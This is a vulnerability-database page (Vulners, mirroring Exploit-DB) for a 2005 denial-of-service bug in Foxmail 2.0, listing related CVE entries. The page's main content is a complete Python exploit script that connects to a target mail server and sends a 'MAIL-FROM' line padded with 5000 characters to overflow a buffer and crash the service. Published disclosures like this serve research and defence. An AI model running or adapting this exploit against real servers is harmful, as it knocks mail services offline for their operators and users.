Lucene search
+L

Foxmail 2.0 - 'MAIL FROM:' Denial of Service

🗓️ 07 Feb 2005 00:00:00Reported by OYXinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Denial of Service exploit for Foxmail 2.0 using malicious MAIL FROM buffer overflow.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-0339
10 Feb 200505:00
cve
cve
CVE
CVE-2005-0636
4 Mar 200505:00
cve
cvelist
Cvelist
CVE-2005-0339
10 Feb 200505:00
cvelist
cvelist
Cvelist
CVE-2005-0636
4 Mar 200505:00
cvelist
euvd
EUVD
EUVD-2005-0340
10 Feb 200505:00
euvd
euvd
EUVD
EUVD-2005-0637
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-0339
2 May 200504:00
nvd
nvd
NVD
CVE-2005-0636
2 Mar 200505:00
nvd
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt


def usage():
    print "Usage: foxserver.py -h host -p port"
    sys.exit(0)

if __name__ == '__main__':

    try:
        opts, args = getopt.getopt(sys.argv[1:], "h:p:")
    except getopt.GetoptError, msg:
        print msg
        usage()

    for o,a in opts:
        if o in ["-h"]:
            host = a
        if o in ["-p"]:
            port = int(a)

    evilbuf =  "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
    evilbuf += "RCPT-TO: [email protected]" + "\r\n"
    evilbuf += "Message-ID: 123" + "\r\n"
    evilbuf += "ASDF" + "\r\n"
    evilbuf += "." + "\r\n"
    evilbuf += "QUIT" + "\r\n"
    try:
        sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sockfd.connect((host, port))
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send("HELO localhost\r\n")
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send(evilbuf)
    except socket.error, msg:
        print msg

    sockfd.close()

# milw0rm.com [2005-02-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Feb 2005 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.07582
39